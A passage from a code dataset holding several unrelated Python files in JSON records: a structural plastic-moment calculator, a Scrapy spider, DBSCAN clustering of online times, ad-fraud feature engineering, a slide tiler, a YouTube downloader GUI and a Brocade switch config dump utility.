y2sc = 0\n        A3st = t_f*b_f\n        y3st = d_tos + 0.5*t_f\n        A4st = (d_steel - 2*t_f)*b_w\n        y4st = d_tos + 0.5*(d_steel)\n    elif d_tos < c <= (d_tos + t_f):\n        A1sc = (c - d_tos)*b_f\n        y1sc = 0.5*(c + d_tos)\n        A2sc = 0\n        y2sc = 0\n        A3st = (d_tos + t_f - c)*b_f\n        y3st = 0.5*(c + d_tos + t_f)\n        A4st = (d_steel - 2*t_f)*b_w\n        y4st = d_tos + 0.5*(d_steel)\n    else:\n        A1sc = t_f*b_f\n        y1sc = d_tos + 0.5*t_f\n        A2sc = (c-d_tos-t_f)*b_w\n        y2sc = 0.5*(d_tos + t_f + c)\n        A3st = 0\n        y3st = 0\n        A4st = (d_tos+d_steel-c-t_f)*b_w\n        y4st = 0.5*(d_tos + d_steel + c - t_f)\n\n    \n    A5st = t_f*b_f\n    y5st = d_tos + d_steel - 0.5*t_f   \n    \n    A = [A1cc, A2cc, A3cc, A1sc, A2sc, A3st, A4st, A5st]\n    y = [y1cc, y2cc, y3cc, y1sc, y2sc, y3st, y4st, y5st]\n    y_from_c = [round(i-c,2) for i in y]\n    sigma = [-FC]*3+[-FY]*2+[FY]*3\n    force = [round(i*j) for i,j in zip(sigma, A)]\n    delta = sum(force)\n    return delta, force, y_from_c\n\n\ndef optimize(delta_series, c_series):\n    \n    delta, F, y = compute_plastic_stress(FC, FY, \n                                            c, beta_1, d_tos, d_steel, \n                                            b_f, b_w, t_f, d_conf, \n                                            b_conf)\n    delta_series.append(delta)\n    c_series.append(c)\n    i = 1\n    c_iter = iterate(c, delta, np.inf)\n    while c_iter != c_series[i-1]:\n        delta, F, y = compute_plastic_stress(FC, FY, \n                                                c_iter, beta_1, d_tos, d_steel, \n                                                b_f, b_w, t_f, d_conf, \n                                                b_conf)\n        delta_series.append(delta)\n        c_series.append(c_iter)\n        c_iter = iterate(c_iter, delta, delta_series[i-1])\n        i+=1\n    \n    return delta, F, y\n        \ndef foo(c):\n    delta = compute_plastic_stress(FC, FY, \n                                    c, beta_1, d_tos, d_steel, \n                                    b_f, b_w, t_f, d_conf, \n                                    b_conf)[0]\n    return abs(delta)\n    \ndef iterate(c, delta, delta_prev, step = 0.2, threshold = 2):\n    assert(c > 0)\n    if abs(delta) > abs(delta_prev):\n        print(\"Delta is increasing. Something is off!\")\n        return c\n    if abs(delta) <= threshold:\n        return c\n    else:\n        return round(c - step,2)\n\ndef moment_resisted(force, distance):\n    M = np.inner(force,distance)\n    return round(M)\n\nif __name__ == \"__main__\":\n    \"\"\"\n    #Concrete Properties\n    b_conf = 24 #inches; width of confined portion of concrete beam\n    d_conf = 36 #inches; depth of confined portion of concrete beam\n    d_tos = 4.85 #inches; depth to top of steel beam\n    \n    #Steel Properties\n    b_f = 13.2\n    t_f = 1.89\n    d_steel = 26.3\n    b_w = 1.04\n    \n    f_c = 6\n    FC = 0.85*f_c\n    FY = 50\n    beta_1 = 0.75\n    \"\"\"\n    #Concrete Properties\n    b_conf = 13.75 #inches; width of confined portion of concrete beam\n    d_conf = 15.75 #inches; depth of confined portion of concrete beam\n    d_tos = 0.625 #inches; depth to top of steel beam\n    \n    #Steel Properties\n    b_f = 14.7\n    t_f = 0.94\n    d_steel = 14.5\n    b_w = 0.59\n    \n    f_c = 8\n    FC = 0.85*f_c\n    FY = 50\n    beta_1 = 0.65\n    \n    #c = 4.65\n\n    res = minimize_scalar(foo, bounds=(d_tos, d_tos+0.5*d_steel), method='bounded')\n    c = res.x\n    print(\"c (inches) = \",round(c,3))\n    \n    delta, F, y_na = compute_plastic_stress(FC, FY, \n                                        c, beta_1, d_tos, d_steel, \n                                        b_f, b_w, t_f, d_conf, \n                                        b_conf)\n    Mp = moment_resisted(np.array(F), np.array(y_na))\n    \n    print(\"Sum of compressive forces (kips) = \",sum(F[:5]))\n    print(\"Sum of tensile forces (kips) = \",sum(F[-3:]))\n    print(\"Unbalanced force (kips) = \", delta)\n    print(\"Mp (kip-in) = \", Mp)", "sub_path": "pySteel/Plastic_Stress.py", "file_name": "Plastic_Stress.py", "file_ext": "py", "file_size_in_byte": 6415, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.inf", "line_number": 124, "usage_type": "attribute"}, {"api_name": "numpy.inner", "line_number": 155, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize_scalar", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}]}
+{"seq_id": "273394339", "text": "# -*- coding: utf-8 -*-\n\nimport scrapy\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nfrom company.items import EnvironItem\n\nlist_url = \"http://datacenter.mep.gov.cn:8099/ths-report/report!list.action?xmlname=1462849093743&page.pageNo={p}\"\n\n\nclass EnvironSpider(scrapy.Spider):\n    name = 'huanjing'\n    start_urls = [list_url.format(p=p) for p in range(1, 3458)]\n\n    def parse(self, response):\n        html = response.xpath(\"//*[@id='GridView1']\").extract_first()\n        soup = BeautifulSoup(html, 'lxml')\n        trs = soup.find_all('tr')\n        del trs[0]\n        for tr in trs:\n            tds = tr('td')\n            item = EnvironItem()\n            item['monitor_area_code'] = tds[1].get_text(strip=True)\n            item['monitor_legal_name_code'] = tds[2].get_text(strip=True)\n            item['company_name'] = tds[3].get_text(strip=True)\n            item['monitor_class'] = tds[4].get_text(strip=True)\n            item['monitor_province'] = tds[5].get_text(strip=True)\n            item['monitor_year'] = tds[6].get_text(strip=True)\n            item['site_name'] = '中华人民共和国环境保护部--数据中心'\n            item['company_gather_time'] = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n            item['gather_id'] = 8\n            item['chanle_id'] = 0\n            yield item\n", "sub_path": "company/company/spiders/environ_monitor.py", "file_name": "environ_monitor.py", "file_ext": "py", "file_size_in_byte": 1320, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "scrapy.Spider", "line_number": 11, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 17, "usage_type": "call"}, {"api_name": "company.items.EnvironItem", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "name"}]}
+{"seq_id": "512314634", "text": "import numpy as np\nimport sklearn.cluster as skc\nfrom sklearn import metrics\nimport matplotlib.pyplot as plt\n\nfilePath = 'D:\\WorkSpace\\PycharmProjects\\TensorFlow\\DBScan\\学生月上网时间分布-TestData.txt'\nmac2id = dict()\nonline_times = []\nf = open(filePath, encoding='utf-8')\nfor line in f:\n\n    # 读取每条数据中的mac地址，\n    # 开始上网时间，上网时长\n\n    mac = line.split(',')[2]\n    online_time = int(line.split(',')[6])\n    start_time = int(line.split(',')[4].split(' ')[1].split(':')[0])\n\n    # mac2id是一个字典：\n    # key是mac地址\n    # value是对应mac地址的上网时长以及开始上网时间（精度为小时）\n\n    if mac not in mac2id:\n        mac2id[mac] = len(online_times)\n        online_times.append((start_time, online_time))\n    else:\n        online_times[mac2id[mac]] = [(start_time, online_time)]\n\n# -1:根据元素的个数自动计算此轴的长度\n# X：上网时间\nreal_X = np.array(online_times).reshape((-1, 2))\n\nprint(\"real_X[:, 1:] =\", real_X[:, 1:])  # real_X[:, 1:] 取出第二列数 按列展示\n\n# X = real_X[:, 1:]\nX = np.log(1 + real_X[:, 1:])  # 求arr以e为底的 展示更加合理\n\nprint('X =', X)\n\n# 调用DBSCAN方法进行训练 ，\n# labels为每个数据的簇标签\n\ndb = skc.DBSCAN(eps=0.6, min_samples=9).fit(X)  #\nlabels = db.labels_\n\nprint('Lables:')\nprint(labels)\nraito = len(labels[labels[:] == -1]) / len(labels)\nprint('Noise raito:', format(raito, '.2%'))\n\n# Number of cluster in lables, ignoring noise if present.\nn_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)\n\nprint('Estimated number of clusters: %d' % n_clusters_)\nprint('Silhouette Coefficient: %0.3f' % metrics.silhouette_score(X, labels))\n\n# 统计每一个簇内的样本个数， 均值，标准差\n\nfor i in range(n_clusters_):\n    print('Cluster ', i, ':')\n    count = len(X[labels == i])\n    mean = np.mean(real_X[labels == i][:, 1])\n    std = np.std(real_X[labels == i][:, 1])\n    print('\\t number of sample: ', count)\n    print('\\t mean of sample  : ', format(mean, '.1f'))\n    print('\\t std of sample   : ', format(std, '.1f'))\n\nplt.hist(X, 12)\nplt.show()\n", "sub_path": "DBScan/OnlineTimeCluster.py", "file_name": "OnlineTimeCluster.py", "file_ext": "py", "file_size_in_byte": 2135, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.cluster.DBSCAN", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.cluster", "line_number": 43, "usage_type": "name"}, {"api_name": "sklearn.metrics.silhouette_score", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}]}
+{"seq_id": "396451356", "text": "import gc\nimport os\n\nimport numpy as np\nimport pandas as pd\nfrom lightgbm import LGBMClassifier\nfrom sklearn.metrics import roc_auc_score\n\ncategorical_indices = None\nrandom_state = None\n\n\ndef willump_train_function(X, y):\n    model = LGBMClassifier(\n        n_jobs=1,\n        boosting_type=\"gbdt\",\n        objective=\"binary\",\n        num_leaves=7,\n        max_depth=3,\n        min_child_samples=100,\n        max_bin=100,\n        subsample=0.7,\n        subsample_freq=1,\n        colsample_bytree=0.9,\n        min_child_weight=0,\n        scale_pos_weight=200,\n        random_state=random_state\n    )\n    model = model.fit(X, y, eval_metric='auc', categorical_feature=categorical_indices)\n    return model\n\n\ndef willump_predict_function(model, X):\n    if len(X) == 0:\n        return np.zeros(0, dtype=np.uint8)\n    else:\n        return model.predict(X)\n\n\ndef willump_predict_proba_function(model, X):\n    return model.predict_proba(X)[:, 1]\n\n\ndef willump_score_function(true_y, pred_y):\n    return roc_auc_score(true_y, pred_y)\n\n\ndef gen_aggregate_statistics_tables(train_df, base_folder, train_start_point, train_end_point, debug):\n    nextClick_filename = base_folder + 'nextClick_%d_%d.csv' % (train_start_point, train_end_point)\n    if os.path.exists(nextClick_filename):\n        print('loading from save file')\n        nextClick = pd.read_csv(nextClick_filename).values\n    else:\n        D = 2 ** 26\n        train_df['category'] = (train_df['ip'].astype(str) + \"_\" + train_df['app'].astype(str) + \"_\" + train_df[\n            'device'].astype(str) + \"_\" + train_df['os'].astype(str)).apply(hash) % D\n        click_buffer = np.full(D, 3000000000, dtype=np.uint32)\n\n        train_df['epochtime'] = train_df['click_time'].astype(np.int64) // 10 ** 9\n        next_clicks = []\n        for category, t in zip(reversed(train_df['category'].values), reversed(train_df['epochtime'].values)):\n            next_clicks.append(click_buffer[category] - t)\n            click_buffer[category] = t\n        del click_buffer\n        nextClick = list(reversed(next_clicks))\n\n        if not debug:\n            print('saving')\n            pd.DataFrame(nextClick).to_csv(nextClick_filename, index=False)\n\n    gc.collect()\n\n    selected_columns = ['ip', 'channel']\n    X_ip_channel = train_df[selected_columns].groupby(by=selected_columns[0:-1])[\n        selected_columns[-1]].nunique().reset_index(). \\\n        rename(index=str, columns={selected_columns[-1]: 'X0'})\n    X_ip_channel_jc = selected_columns[0:-1]\n\n    selected_columns = ['ip', 'device', 'os', 'app']\n    X_ip_device_os_app = train_df[selected_columns].groupby(by=selected_columns[0:-1])[selected_columns[-1]].cumcount()\n\n    selected_columns = ['ip', 'day', 'hour']\n    X_ip_day_hour = train_df[selected_columns].groupby(by=selected_columns[0:-1])[\n        selected_columns[-1]].nunique().reset_index(). \\\n        rename(index=str, columns={selected_columns[-1]: 'X2'})\n    X_ip_day_hour_jc = selected_columns[0:-1]\n\n    selected_columns = ['ip', 'app']\n    X_ip_app = train_df[selected_columns].groupby(by=selected_columns[0:-1])[\n        selected_columns[-1]].nunique().reset_index(). \\\n        rename(index=str, columns={selected_columns[-1]: 'X3'})\n    X_ip_app_jc = selected_columns[0:-1]\n\n    selected_columns = ['ip', 'app', 'os']\n    X_ip_app_os = train_df[selected_columns].groupby(by=selected_columns[0:-1])[\n        selected_columns[-1]].nunique().reset_index(). \\\n        rename(index=str, columns={selected_columns[-1]: 'X4'})\n    X_ip_app_os_jc = selected_columns[0:-1]\n\n    selected_columns = ['ip', 'device']\n    X_ip_device = train_df[selected_columns].groupby(by=selected_columns[0:-1])[\n        selected_columns[-1]].nunique().reset_index(). \\\n        rename(index=str, columns={selected_columns[-1]: 'X5'})\n    X_ip_device_jc = selected_columns[0:-1]\n\n    selected_columns = ['app', 'channel']\n    X_app_channel = train_df[selected_columns].groupby(by=selected_columns[0:-1])[\n        selected_columns[-1]].nunique().reset_index(). \\\n        rename(index=str, columns={selected_columns[-1]: 'X6'})\n    X_app_channel_jc = selected_columns[0:-1]\n\n    selected_columns = ['ip', 'os']\n    X_ip_os = train_df[selected_columns].groupby(by=selected_columns[0:-1])[selected_columns[-1]].cumcount()\n\n    selected_columns = ['ip', 'device', 'os', 'app']\n    X_ip_device_app_os = train_df[selected_columns].groupby(by=selected_columns[0:-1])[\n        selected_columns[-1]].nunique().reset_index(). \\\n        rename(index=str, columns={selected_columns[-1]: 'X8'})\n    X_ip_device_app_os_jc = selected_columns[0:-1]\n\n    ip_day_hour = train_df[['ip', 'day', 'hour', 'channel']].groupby(by=['ip', 'day', 'hour'])[\n        ['channel']].count().reset_index().rename(index=str, columns={'channel': 'ip_tcount'})\n    ip_day_hour_jc = ['ip', 'day', 'hour']\n\n    ip_app = train_df[['ip', 'app', 'channel']].groupby(by=['ip', 'app'])[['channel']].count().reset_index().rename(\n        index=str, columns={'channel': 'ip_app_count'})\n    ip_app_jc = ['ip', 'app']\n\n    ip_app_os = train_df[['ip', 'app', 'os', 'channel']].groupby(by=['ip', 'app', 'os'])[\n        ['channel']].count().reset_index().rename(index=str, columns={'channel': 'ip_app_os_count'})\n    ip_app_os_jc = ['ip', 'app', 'os']\n\n    # Adding features with var and mean hour (inspired from nuhsikander's script)\n    ip_day_hour_channel = train_df[['ip', 'day', 'hour', 'channel']].groupby(by=['ip', 'day', 'channel'])[\n        ['hour']].var().reset_index().rename(index=str, columns={'hour': 'ip_tchan_count'})\n    ip_day_hour_channel_jc = ['ip', 'day', 'channel']\n\n    ip_app_os_hour = train_df[['ip', 'app', 'os', 'hour']].groupby(by=['ip', 'app', 'os'])[\n        ['hour']].var().reset_index().rename(\n        index=str, columns={'hour': 'ip_app_os_var'})\n    ip_app_os_hour_jc = ['ip', 'app', 'os']\n\n    ip_app_channel_var_day = train_df[['ip', 'app', 'channel', 'day']].groupby(by=['ip', 'app', 'channel'])[\n        ['day']].var().reset_index().rename(index=str, columns={'day': 'ip_app_channel_var_day'})\n    ip_app_channel_var_day_jc = ['ip', 'app', 'channel']\n\n    ip_app_chl_mean_hour = train_df[['ip', 'app', 'channel', 'hour']].groupby(by=['ip', 'app', 'channel'])[\n        ['hour']].mean().reset_index().rename(index=str, columns={'hour': 'ip_app_channel_mean_hour'})\n    ip_app_chl_mean_hour_jc = ['ip', 'app', 'channel']\n\n    return X_ip_channel, X_ip_channel_jc, X_ip_day_hour, X_ip_day_hour_jc, X_ip_app, X_ip_app_jc, \\\n           X_ip_app_os, X_ip_app_os_jc, \\\n           X_ip_device, X_ip_device_jc, X_app_channel, X_app_channel_jc, X_ip_device_app_os, X_ip_device_app_os_jc, \\\n           ip_app_os, ip_app_os_jc, ip_day_hour, ip_day_hour_jc, ip_app, ip_app_jc, ip_day_hour_channel, \\\n           ip_day_hour_channel_jc, ip_app_channel_var_day, ip_app_channel_var_day_jc, ip_app_os_hour, \\\n           ip_app_os_hour_jc, ip_app_chl_mean_hour, ip_app_chl_mean_hour_jc, \\\n           nextClick, pd.DataFrame(nextClick).shift(+1).values, X_ip_device_os_app.values, X_ip_os.values\n", "sub_path": "tests/test_scripts/adtracking_fraud_detection_util.py", "file_name": "adtracking_fraud_detection_util.py", "file_ext": "py", "file_size_in_byte": 7000, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "lightgbm.LGBMClassifier", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 69, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 157, "usage_type": "call"}]}
+{"seq_id": "521386507", "text": "\nimport json\nfrom multiprocessing import Process, JoinableQueue\nimport openslide\nfrom openslide import open_slide, ImageSlide\nfrom openslide.deepzoom import DeepZoomGenerator\nfrom optparse import OptionParser\nimport os\nimport re\nimport shutil\nimport sys\nfrom unicodedata import normalize\n\nVIEWER_SLIDE_NAME = 'slide'\n\nclass TileWorker(Process):\n    \"\"\"A child process that generates and writes tiles.\"\"\"\n\n    def __init__(self, queue, slidepath, tile_size, overlap, limit_bounds,\n                quality):\n        Process.__init__(self, name='TileWorker')\n        self.daemon = True\n        self._queue = queue\n        self._slidepath = slidepath\n        self._tile_size = tile_size\n        self._overlap = overlap\n        self._limit_bounds = limit_bounds\n        self._quality = quality\n        self._slide = None\n\n    def run(self):\n        self._slide = open_slide(self._slidepath)\n        last_associated = None\n        dz = self._get_dz()\n        while True:\n            data = self._queue.get()\n            if data is None:\n                self._queue.task_done()\n                break\n            associated, level, address, outfile = data\n            if last_associated != associated:\n                dz = self._get_dz(associated)\n                last_associated = associated\n            tile = dz.get_tile(level, address)\n            tile.save(outfile, quality=self._quality)\n            self._queue.task_done()\n\n    def _get_dz(self, associated=None):\n        if associated is not None:\n            image = ImageSlide(self._slide.associated_images[associated])\n        else:\n            image = self._slide\n        return DeepZoomGenerator(image, self._tile_size, self._overlap,\n                    limit_bounds=self._limit_bounds)\n\n\nclass DeepZoomImageTiler(object):\n    \"\"\"Handles generation of tiles and metadata for a single image.\"\"\"\n\n    def __init__(self, dz, basename, format, associated, queue):\n        self._dz = dz\n        self._basename = basename\n        self._format = format\n        self._associated = associated\n        self._queue = queue\n        self._processed = 0\n\n    def run(self):\n        self._write_tiles()\n\n    def _write_tiles(self):\n        for level in range(self._dz.level_count):\n            tiledir = os.path.join(\"%s_files\" % self._basename, str(level))\n            if not os.path.exists(tiledir):\n                os.makedirs(tiledir)\n            cols, rows = self._dz.level_tiles[level]\n            for row in range(rows):\n                for col in range(cols):\n                    tilename = os.path.join(tiledir, '%d_%d.%s' % (\n                                    col, row, self._format))\n                    if not os.path.exists(tilename):\n                        self._queue.put((self._associated, level, (col, row),\n                                    tilename))\n                    self._tile_done()\n\n    def _tile_done(self):\n        self._processed += 1\n        count, total = self._processed, self._dz.tile_count\n        if count % 100 == 0 or count == total:\n            print(\"Tiling %s: wrote %d/%d tiles\" % (\n                    self._associated or 'slide', count, total),\n                    end='\\r', file=sys.stderr)\n            if count == total:\n                print(file=sys.stderr)\n\n    \n\n\nclass DeepZoomStaticTiler(object):\n    \"\"\"Handles generation of tiles and metadata for all images in a slide.\"\"\"\n\n    def __init__(self, slidepath, basename, format, tile_size, overlap,\n                limit_bounds, quality, workers):\n        self._slide = open_slide(slidepath)\n        self._basename = basename\n        self._format = format\n        self._tile_size = tile_size\n        self._overlap = overlap\n        self._limit_bounds = limit_bounds\n        self._queue = JoinableQueue(2 * workers)\n        self._workers = workers\n        self._dzi_data = {}\n        for _i in range(workers):\n            TileWorker(self._queue, slidepath, tile_size, overlap,\n                        limit_bounds, quality).start()\n\n    def run(self):\n        self._run_image()\n        self._shutdown()\n\n    def _run_image(self, associated=None):\n        if associated is None:\n            image = self._slide\n            basename = self._basename\n        else:\n            image = ImageSlide(self._slide.associated_images[associated])\n            basename = os.path.join(self._basename, self._slugify(associated))\n        dz = DeepZoomGenerator(image, self._tile_size, self._overlap,\n                    limit_bounds=self._limit_bounds)\n        tiler = DeepZoomImageTiler(dz, basename, self._format, associated,\n                    self._queue)\n        tiler.run()\n    \n\n    @classmethod\n    def _slugify(cls, text):\n        text = normalize('NFKD', text.lower()).encode('ascii', 'ignore').decode()\n        return re.sub('[^a-z0-9]+', '_', text)\n\n    def _shutdown(self):\n        for _i in range(self._workers):\n            self._queue.put(None)\n        self._queue.join()\n\n\n\nDeepZoomStaticTiler(slidepath=\"/Users/admin/Downloads/file.svs\", basename='file', format='jpeg',\n            tile_size=254, overlap=1, limit_bounds=True, quality=90,\n            workers=4).run()\n", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 5117, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "multiprocessing.Process", "line_number": 16, "usage_type": "name"}, {"api_name": "multiprocessing.Process.__init__", "line_number": 21, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 21, "usage_type": "name"}, {"api_name": "openslide.open_slide", "line_number": 32, "usage_type": "call"}, {"api_name": "openslide.ImageSlide", "line_number": 50, "usage_type": "call"}, {"api_name": "openslide.deepzoom.DeepZoomGenerator", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 92, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 94, "usage_type": "attribute"}, {"api_name": "openslide.open_slide", "line_number": 104, "usage_type": "call"}, {"api_name": "multiprocessing.JoinableQueue", "line_number": 110, "usage_type": "call"}, {"api_name": "openslide.ImageSlide", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "openslide.deepzoom.DeepZoomGenerator", "line_number": 128, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 137, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 138, "usage_type": "call"}]}
+{"seq_id": "418759186", "text": "import tkinter as tk\nimport tkinter.font as tkFont\nimport pytube\n\ndef download(url, res):\n    try:\n        yt = pytube.YouTube(url)\n        video = yt.streams.get_by_resolution(resolution = res)\n        print(\"Download Started\")\n        video.download(output_path=\"../Video\", filename = \"myvideo\")\n        print(\"Download Done\")\n\n    except:\n        print(\"Please give INput\")\n\n\ndef start():\n    root = tk.Tk()\n    root.title(\"YT Dowloader\")\n    w, h = root.winfo_screenwidth(), root.winfo_screenheight()\n    root.geometry(\"%dx%d+%d+%d\" % (w/2, h/2, w/4, h/4))\n\n    fontStyle = tkFont.Font(family=\"Lucida Grande\", size=20)\n\n    label = tk.Label(root, text=\"YouTube Video Downlaod\", font=fontStyle)\n    label.pack(padx=20, pady=10)\n\n    urlInput = tk.Entry(root, font = (\"Lucida Grande\",18,\"\"), width = \"30\")\n    urlInput.pack(padx=20, pady=10)\n\n    tkvar = tk.StringVar(root)\n\n    choices = {\"360p\", \"480p\", \"720p\", \"1080p\"}\n    tkvar.set(\"360p\")\n\n    popupmenu = tk.OptionMenu(root, tkvar, *choices)\n    tk.Label(root, text = \"Choose a Resolutiion\" ).pack()\n    popupmenu.pack()\n\n    submit = tk.Button(root, text=\"Submit\", font=(\"Lucida Grande\",12,\"bold\"), command=lambda : download(urlInput.get(),tkvar.get()))\n\n    submit.pack(padx=20, pady=5)\n\n    root.mainloop()\n\n\nif __name__ == \"__main__\":\n    start()\n", "sub_path": "ytdown.py", "file_name": "ytdown.py", "file_ext": "py", "file_size_in_byte": 1310, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pytube.YouTube", "line_number": 7, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 18, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 23, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 23, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 25, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 28, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 31, "usage_type": "call"}, {"api_name": "tkinter.OptionMenu", "line_number": 36, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 37, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 40, "usage_type": "call"}]}
+{"seq_id": "470043631", "text": "#!/usr/bin/env python3\n\n# Copyright © 2018 Broadcom. All rights reserved. The term \"Broadcom\"\n# refers to Broadcom Inc. and/or its subsidiaries.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may also obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\n\n:mod:`switch_config_dump` - PyFOS util for specific config op use case.\n***********************************************************************************\nThe :mod:`switch_config_dump` provides for a specific config op use case.\n\nThis module is a stand-alone script that can be used to dump\nspreadsheet or JSON encoded switch configuration files into\na timestamped file or directory. The resulting configuration\nfiles can be used to monitor drift or apply to a switch.\n\nThe configuration files can be in spreadsheet format or in JSON format.\nBy default, spreadsheet format is used. Resulting name of the\nspreadsheet is given without ..xlsx file extension for\n--compare option. For JSON format configuration files, --json option\nadded to --compare option and directory name is given instead.\n\n* Inputs:\n    * -L=: Login ID. If not provided, an interactive\n        prompt will request one.\n    * -P=: Password. If not provided, an interactive\n        prompt will request one.\n    * -i=: IP address.\n\n* Outputs:\n    * None\n\n\"\"\"\n\nimport sys\nimport os\nimport openpyxl\nimport switch_config_util\nimport switch_config_obj\nfrom pyfos import pyfos_auth\nfrom pyfos.manager.pyfos_config_manager import config_manager\nfrom pyfos.utils import brcd_util\n\n\ndef usage():\n    print(\"\")\n\n\ndef dump_by_vf(session, envelope_name, in_json, vf):\n    if vf == 128:\n        print(\"dumping for default switch or non-vf\")\n    else:\n        print(\"dumping for VFID\", vf)\n\n    pyfos_auth.vfid_set(session, vf)\n\n    dir_name = None\n    if in_json:\n        if vf == 128:\n            dir_name = envelope_name\n        else:\n            dir_name = envelope_name + \".\" + str(vf)\n        try:\n            os.stat(dir_name)\n        except OSError:\n            os.mkdir(dir_name)\n    else:\n        wb = openpyxl.Workbook()\n\n    for obj in switch_config_obj.objects_to_process:\n        writer = None\n        if in_json:\n            switch_config_util.dump_object_in_json(session, obj[\"obj_name\"], dir_name)\n        else:\n            if \"writer\" in obj:\n                writer = obj[\"writer\"]\n            else:\n                writer = switch_config_util.write_simple_object\n            writer(session, obj[\"obj_name\"], wb)\n\n    if not in_json:\n        file_name = None\n        if vf == 128:\n            file_name = envelope_name + \".xlsx\"\n        else:\n            file_name = envelope_name + \".\" + str(vf) + \".xlsx\"\n        wb.save(filename=file_name)\n\n\ndef main(argv):\n    valid_options = [\"json\", \"compare\"]\n    inputs = brcd_util.generic_input(argv, usage, valid_options)\n\n    session = pyfos_auth.login(inputs[\"login\"], inputs[\"password\"],\n                               inputs[\"ipaddr\"], inputs[\"secured\"],\n                               verbose=inputs[\"verbose\"])\n    if pyfos_auth.is_failed_login(session):\n        print(\"login failed because\",\n              session.get(pyfos_auth.CREDENTIAL_KEY)\n              [pyfos_auth.LOGIN_ERROR_KEY])\n        usage()\n        sys.exit()\n\n    brcd_util.exit_register(session)\n\n    vfid = None\n    if 'vfid' in inputs:\n        vfid = inputs['vfid']\n\n    if vfid is not None:\n        pyfos_auth.vfid_set(session, vfid)\n\n    in_json = False\n    if 'json' in inputs:\n        in_json = inputs['json']\n\n    if in_json:\n        fmtfile = 'JSON'\n        fmtobj = 'json'\n        ext = '.json'\n    else:\n        fmtfile = 'XLSX'\n        fmtobj = 'attributes'\n        ext = '.xlsx'\n    envelope_name = switch_config_util.get_envelope_name(inputs['ipaddr'])\n    envelope_name += ext\n    mgr = config_manager(fmtfile, fmtobj)\n    mgr.dumptofile(session, envelope_name)\n    print(\"done\")\n\n    